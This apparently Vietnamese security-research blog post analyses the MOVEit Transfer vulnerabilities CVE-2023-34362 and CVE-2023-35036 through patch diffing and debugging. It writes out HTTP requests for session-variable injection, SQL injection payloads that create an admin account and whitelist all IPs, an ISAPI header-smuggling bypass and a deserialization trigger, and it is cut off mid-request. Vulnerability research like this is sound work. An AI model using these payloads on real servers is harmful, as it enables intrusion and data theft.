--- tags: Research, C# --- # Analysis CVE-2023-34362 & CVE-2023-35036 (MOVEit Transfer) # MOVEit Transfer - Introduction MOVEit Transfer là một phần mềm quản lý, truyền tải tập tin an toàn và bảo mật. Nó cung cấp một giải pháp tổng thể cho việc trao đổi tập tin và dữ liệu giữa các đối tác, khách hàng và hệ thống trong môi trường kinh doanh. MOVEit Transfer cho phép ta truyền tải tập tin qua các kênh bảo mật như SFTP, FTPS, HTTPS và AS2. Nó cung cấp tính năng quản lý và theo dõi tập tin, đảm bảo tính toàn vẹn và bảo mật của dữ liệu trong quá trình truyền tải. Phần mềm này cũng cung cấp các tính năng quản lý quyền truy cập, giúp người dùng kiểm soát và quản lý quyền truy cập vào các tập tin và thư mục. Ngoài ra, MOVEit Transfer còn hỗ trợ các tính năng như lập lịch truyền tải, mã hóa dữ liệu, kiểm soát tốc độ truyền tải và theo dõi hoạt động truyền tải. MOVEit Transfer được sử dụng rộng rãi trong các tổ chức và doanh nghiệp để truyền tải tập tin và dữ liệu quan trọng một cách an toàn, tin cậy và tuân thủ các quy định bảo mật. # CVE-2023-34362 ## Advisory [https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023](https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023) ## Setup Official installation documentation: [https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html](https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html) Affected version: [https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0/MOVEit-Transfer-2023.0.0-FullInstall.exe](https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0/MOVEit-Transfer-2023.0.0-FullInstall.exe) Fix version: Tải ở trang chủ, sau khi nhận được email ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled.png) Chọn `Download & Install` và chạy file vừa tải xuống, trong quá trình install lưu lại activation key để dùng cho việc cài đặt bản unpatched. Khi cài đặt thì có key như dưới dây: ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%201.png) Cài đặt bản unpatch: Dùng trial activation key của version vừa tải ở trên để [offline activate](https://docs.progress.com/fr-FR/bundle/moveit-install-2022/page/Offline-activation.html) affected version. Sau khi active thì sẽ chọn DBMS, nhớ lưu lại thông tin ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%202.png) Nơi lưu source code của MOVEit Transfer ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%203.png) ## Analysis Sau khi đã được decompile và diff code, ta thấy có sự thay đổi ở hàm **UserGetUsersWithEmailAddress** tại file **UserEngine.cs** là đáng chú ý. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%204.png) Đoạn sau được xóa đi ở version 2023.0.1 ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%205.png) Analyze hàm **UserGetUsersWithEmailAddress** trên để biết được hàm đó được gọi ở đâu trong source ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%206.png) Sqli tại `SLIGuestAccess.cs` (`guestaccess.aspx`) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%207.png) `SILGuessAccess.PerformAction()` gọi đến `MsgEngine.MsgPostForGuest()` và dùng `this.m_pkginfo` làm tham số ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%208.png) `text` được lấy từ giá trị package info này. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%209.png) `PkgInfo.SelfProvisionedRecips` load từ session ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2010.png) ⇒ Lợi dụng method `SetAllSessionVarsFromHeaders` trong `SILMachine2.cs` để set các giá trị trên ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2011.png) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2012.png) Các steps để reach được sink từ `guestaccess.aspx` - Set validation code ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgValidationCode: 2 Cookie: <session cookie of above> ``` - Set access code ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgAccessCode: 2 Cookie: <session cookie of above> ``` - Set permission ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPermission: 5 Cookie: <session cookie of above> ``` Mục đích: pass đoạn code này ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2013.png) - Set package id ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgID: 0 Cookie: <session cookie of above> ``` Mục đích: `PkgInfo.IsSelfProvisioned=true` → call đến sink ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2014.png) - Set guest email address ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyGuestEmailAddr: bla@gmail.com Cookie: <session cookie of above> ``` Mục đích: thỏa mãn điều kiện `SILUtility.isValidEmail(FromEmailAddr, false)` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2015.png) - Set payload SQL injection ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgSelfProvisionedRecips: blabla' or 1=1-- - Cookie: <session cookie of above> ``` - Set username ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyUsername: Guest Cookie: <session cookie of above> ``` Mục đích: làm cho `m_foundactivesession=true` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2016.png) **Lưu ý:** request set username cần được **đặt ở cuối** để tránh error `Your session has expired.` xảy ra do đoạn if sau ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2017.png) Sau đó truy cập tới `/guestaccess.aspx?arg06=2` để lấy csrf token ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2018.png) Payload trigger SQL Injection ``` POST /guestaccess.aspx HTTP/1.1 Host: localhost Content-Length: 92 Cookie: <session cookie of above> Connection: close csrftoken=<csrf_token>&transaction=secmsgpost&arg06=2&arg05=send ``` Kết quả ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2019.png) ### From SQL Injection to admin privilege escalation Vì data trả về của câu query không in ra màn hình nên chúng ta không thể dump bằng Union Based. Thử payload stack query với sleep(10) thì thời gian server trả về reponse là hơn 10s ⇒ có thể sử dụng stack query ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2020.png) Thực hiện insert 1 account admin bất kì với payload như sau: ```jsx ');INSERT INTO moveittransfer.users (Username) VALUES ('y8pm5hoet340m4bz');UPDATE moveittransfer.users SET LoginName='notaidh' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Permission='40' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Password='PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET InstID='4490' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='y8pm5hoet340m4bz';-- - ``` Trong đó: - `y8pm5hoet340m4bz` → giá trị random bất kì - `notaidh` → username để login - `40` → quyền của account này (có thể là 30 hoặc 40) - `PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf` - hash của password `Caheo@1234` ứng với `InstID` là `4490` Sau khi execute payload thành công. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2021.png) Nhưng mặc định khi setup thì MOVEit Transfer sẽ không cho login từ external nên mình cần add thêm whitelist IP vào trong database. List IP sẽ được lưu trong table `hostpermits` Payload insert whitelist IP thông qua SQL Injection như sau: ```sql INSERT INTO moveittransfer.hostpermits (Comment) VALUES ('{RANDOM_STRING}');UPDATE moveittransfer.hostpermits SET InstID='{instID}' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Rule='1' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET PermitID='3' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Priority='1' WHERE Comment='{RANDOM_STRING}'; ``` Trong đó: - `{RANDOM_STRING}` là chuỗi bất kì - `{instID}` được lấy từ cookie - `*.*.*.*` cho phép tất cả dãy ip Sau khi insert thành công thì đã có thể login từ external. Login vào tài khoản `notaidh/Caheo@1234` thành công. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2022.png) ### Unsafe .NET Deserialization Dù đã tham khảo qua log của các server bị attack trên internet, mình không thấy nhắc đến việc tấn công RCE thông qua unsafe .NET deserialization, phải chờ tới lúc có một số [twitter](https://twitter.com/Horizon3Attack/status/1668220064993099777?s=20) thông báo thì mình mới đi theo hướng này, một phần là vì trong lúc diff, đoạn code gây ra unsafe .NET deserialization cũng không có gì thay đổi. Search trong source decompiled với keyword `.Deserialize(` và lọc đi những folder trong lib thì còn lại một số kết quả như sau: ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2023.png) Đoạn code unsafe deserialization nằm ở hàm **DeserializeFileUploadStream**: ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2024.png) `this._uploadState` được lấy từ database ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2025.png) Hàm **DeserializeFileUploadStream** được call trong hàm **GetUploadStream** ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2026.png) Và cuối cùng hàm **GetUploadStream** được gọi ở controller `{id}/files` với method PUT. Prefix của controller này là `api/v1/folders` hay cụ thể entrypoint để vào được tới đây: `api/v1/folders/{id}/files` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2027.png) Để hiểu hơn về flow từ source tới sink theo code trên thì chúng ta sẽ tiến hành debug. Sử dụng chức năng upload ở menu folders. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2028.png) Khi thực hiện upload một file sẽ có hai requests lần lượt được gửi đến server POST request ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2029.png) Code xử lí chính nằm ở ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2030.png) Gọi đến `ResumableUploadFileInitHandler.GetResult()`, tại đây thực hiện kiểm tra file đã tồn hay chưa, và sau đó gọi đến `CreateUploadInfo()` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2031.png) Hàm này thực hiện chèn trước một vài thông tin về file vào database ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2032.png) Và response trả về bao gồm `FileID` ứng với file này. Tiếp theo một request PUT được gửi đến server để cập nhật nội dung file với `fileId` tương ứng ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2033.png) Code xử lí chính bên phía server ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2034.png) Tại đây gọi đến method `GetUploadStream()` , ở method này thực hiện một vài kiểm tra đối với file đồng thời call đến `GetFileUploadInfo()` để lấy thông tin từ file upload ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2035.png) Các thông tin sẽ được select từ database, column đáng quan tâm là `State` sẽ được DBFieldDecrypt → Base64 Decode và gán vào `this._uploadState` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2036.png) Và cuối cùng gọi đến `DeserializeFileUploadStream()` - sink .NET insecure deser. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2037.png) Nhưng mặc định giá trị của cột `State` là rỗng nên không thể reach được đoạn code này. - **Cách 1: Set trực tiếp State thông qua hàm Serialize như dưới đây:** Theo logic code, cột này sẽ được set khi `this.IsUploadCompleted()` return false hay nói cách khác là **chưa hoàn thành quá trình** upload. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2038.png) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2039.png) Method `IsUploadCompleted()` như sau, thực hiện kiểm tra nếu `_fileSize==0` hoặc `_range.To` bằng với `_fileSize -1` → đã hoàn thành quá trình upload ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2040.png) `_range` ở đây là [Content-Range](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Range) và trong ngữ cảnh hiện tại thì mang giá trị `bytes 0-666/667` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2041.png) Tới đây ta sẽ chia quá trình upload thành hai giai đoạn “upload phần đầu” & “upload phần còn lại” POST: ``` POST /api/v1/folders/<folderID>/files?uploadType=resumable HTTP/1.1 Host: localhost Cookie: <cookie> Connection: close ------WebKitFormBoundaryfAUVkeuV4Jj5yCcV Content-Disposition: form-data; name="name" <name> ------WebKitFormBoundaryfAUVkeuV4Jj5yCcV Content-Disposition: form-data; name="size" 100 ------WebKitFormBoundaryfAUVkeuV4Jj5yCcV Content-Disposition: form-data; name="comments" <comments> ------WebKitFormBoundaryfAUVkeuV4Jj5yCcV-- ``` PUT 1: ``` PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1 Host: localhost Content-Length: 50 Content-Type: application/octet-stream Content-Range: bytes 0-49/100 <Payload .NET deser> ``` PUT 2: ``` PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1 Host: localhost Content-Length: 50 Content-Type: application/octet-stream Content-Range: bytes 50-99/100 "a"*50 ``` Request PUT lần thứ 2 sẽ trigger payload deser. **Lưu ý**: PUT requests phải đảm bảo giá trị của các trường `Content-Range`, `Content-Length` và `size` trong POST request thỏa mãn đoạn code trong method `CheckRange()` nếu không server sẽ báo lỗi ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2042.png) Kết quả ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2043.png) Tuy nhiên lúc này nhìn lại thì mình mới để ý, cái được serialize là object của class `FileTransferStream` chứ không phải payload deser ban đầu. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2044.png) Vì vậy không thể đi theo hướng này. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2045.png) - **Cách 2: Set gián tiếp State thông qua cách sử dụng SQL Injection** Như đã nói ở trên, tại POST request sẽ thực hiện lưu trước một vài thông tin của file được upload vào database ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2046.png) ⇒ Có thể chèn “base64 encoded payload” vào `comments` sau đó sql injection để update cột `State` bằng với giá trị này Request như sau: ``` GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgSelfProvisionedRecips: '); update fileuploadinfo set state=comment where fileid='<fileID>';-- - Cookie: <session cookie of above> ``` ### Localhost access restriction bypass Dựa vào các thông tin đã biết trong cộng đồng InfoSec, ta biết rằng attacker có thực hiện request đến MOVEitSAPI Service (`moveitsapi.dll`) nhằm thực hiện các chức năng trong `machine2.aspx`. Thư mục chứa file này nằm tại `C:\MOVEitTransfer\MOVEitISAPI\`. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2047.png) File này về cơ bản là một file ISAPI extension, được chạy dưới dạng là một phần mở rộng có nhiệm vụ là triển khai thêm những chức năng cần thiết của nhà phát triển cho IIS server. Một ISAPI extension thông thường có 3 exported functions: - GetExtensionVersion - HttpExtensionProc - TerminateExtension Ở đây, để phân tích ta sẽ tập trung vào hàm HttpExtensionProc vì hàm này là entry-point chính của quá trình xử lí request và response. Sau một thời gian debug và phân tích, ta thấy được rằng để từ endpoint moveitisapi.dll đến machine2.aspx, ta cần phải bypass được quy trình xử lí request header. Đoạn code thực hiện các chức năng với từng `action` đưa vào. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2048.png) Đoạn code xử lí khi `action=m2` như hình dưới đây: ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2049.png) Sau khi review pseudo C code, ta thấy rằng nếu giá trị của `action` không thỏa những module phía trên, sẽ ghi nội dung lỗi ra file log nằm tại `C:\MOVEitTransfer\Logs\DMZ_ISAPI.log`. Nếu không thì sẽ tiếp tục chạy vào hàm `sub_7FFCBE9C0920` để tiếp tục. Trong hàm `sub_7FFCBE9C0920` thực hiện các thao tác chuẩn bị cookie và headers cho phép để tiến hành forward đến `machine2.aspx`, nhưng lại không hỗ trợ giá trị `X-siLock-Transaction` là `session_setvars`. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2050.png) Sau một thời gian reverse và debug, ta nhận ra được rằng hàm `get_header` (renamed) chỉ kiểm tra chuỗi truyền vào có tồn tại trong request header hay không và sử dụng hàm `stricmp` (case-insensitive) để so sánh. Từ đó, để bypass được đoạn này, ta chỉ cần đặt chuỗi `X-siLock-Transaction: folder_add_by_path` vào bất kì vị trí nào trong request header. Ví dụ khi header này được đưa vào bên trong header `Cookie` : ``` POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1 Host: localhost X-siLock-Transaction: session_setvars Cookie: ASP.NET_SessionId=fikqem521kve5jdpm151icz4; siLockLongTermInstID=4490; X-siLock-Transaction: folder_add_by_path Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` Khi nhận thấy SSRF thành công vào `/machine2.aspx`, ta lợi dụng method `SetAllSessionVarsFromHeaders` để set các thuộc tính cho session object thông qua header. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2051.png) Chi tiết được thực hiện trong script PoC. ### Full chain: Set các header và payload insert account admin, insert whitelist IP thông qua SQL injection tại `/moveitisapi/moveitisapi.dll?action=m2` (machine2.aspx) → Trigger SQL Injection tại `guestaccess.aspx` → login account admin → get token and folder id → upload file chứa payload deserialize ở comments (method POST) → update `state` từ `comment` (giống như step 1 và 2) → trigger deserialize (method PUT) ### POC: https://youtu.be/ipAc4NVo6rA Sau khi reproduce thành công **CVE-2023-34362,** mình phát hiện **CVE-2023-35036** của nó vừa được pubic cách đây vài ngày và root cause vẫn là SQL Injection nên sẵn đang trên đà phân tích thì mình cũng bắt tay vào làm CVE này luôn. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2052.png) --- # ****CVE-2023-35036**** ## Advisory [https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023](https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023) ## Setup Official installation documentation: [https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html](https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html) Patch: [https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0.2/MOVEitTransfer-2023.0.2-dropins.zip?_ga=2.163471480.538842659.1686756244-1856875567.1686192529](https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0.2/MOVEitTransfer-2023.0.2-dropins.zip?_ga=2.163471480.538842659.1686756244-1856875567.1686192529) Quá trình cài đặt sẽ tương tự như CVE phía trên. ## Analysis Dựa vào hướng dẫn patch, tiến hành tìm sự thay đổi trong các file sau đây ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2053.png) Method `FolderIDToPath()` trong `FolderEngine.cs` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2054.png) `CleanForSQL()` trong `SILUtility.cs` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2055.png) `Main()` trong `SILCertToUser.cs` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2056.png) Tại method `FolderIDToPath()` thực hiện nối các giá trị vào câu truy vấn ⇒ có thể khai thác sqli ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2057.png) - `this._globals.objUser.InstID` - giá trị này khó có thể kiểm soát - `empty` và `empty2` - được gán thông qua `SILUtility.SplitFolderIDAndPathHash()` Method này split kí tự `-` trong chuỗi `Input` (hay `FolderID`) sau đó gán lại giá trị cho các tham số được tham chiếu. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2058.png) Trace các method gọi đến `FolderIDToPath()` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2059.png) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2060.png) → Bắt nguồn từ `SILMachine.cs` và `SILMachine2.cs` Đối với `SILMachine.cs`, input sẽ được lấy từ `Arg01` và `Arg02` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2061.png) từ kinh nghiệm khi phân tích cve trước, mình biết được rằng các giá trị khi lấy thông qua `argXX` đều sẽ bị encode bởi `SILUtility.XHTMLClean()` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2062.png) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2063.png) → khó có thể tiếp cận từ đây. Đối với `SILMachine2.cs`, `this.InputFolderID` và `this.InputRelativePath` được đưa vào làm tham số cho method này. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2064.png) Hai giá trị nêu ở trên bắt nguồn từ các request headers `X-siLock-RelativePath` , `X-siLock-FolderID` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2065.png) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2066.png) Method `GetHeaderValForSQL()` gọi đến `SILUtility.CleanForSQL()` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2067.png) `CleanForSQL()` định nghĩa các “disallow” characters trong `text` và gọi đến `SILUtility.CustomCleanDisabllow()` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2068.png) Tại đây thực hiện loại trừ các kí tự này ra khỏi chuỗi ban đầu. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2069.png) Request reach sink sqli ``` GET /machine2.aspx HTTP/1.1 Host: localhost 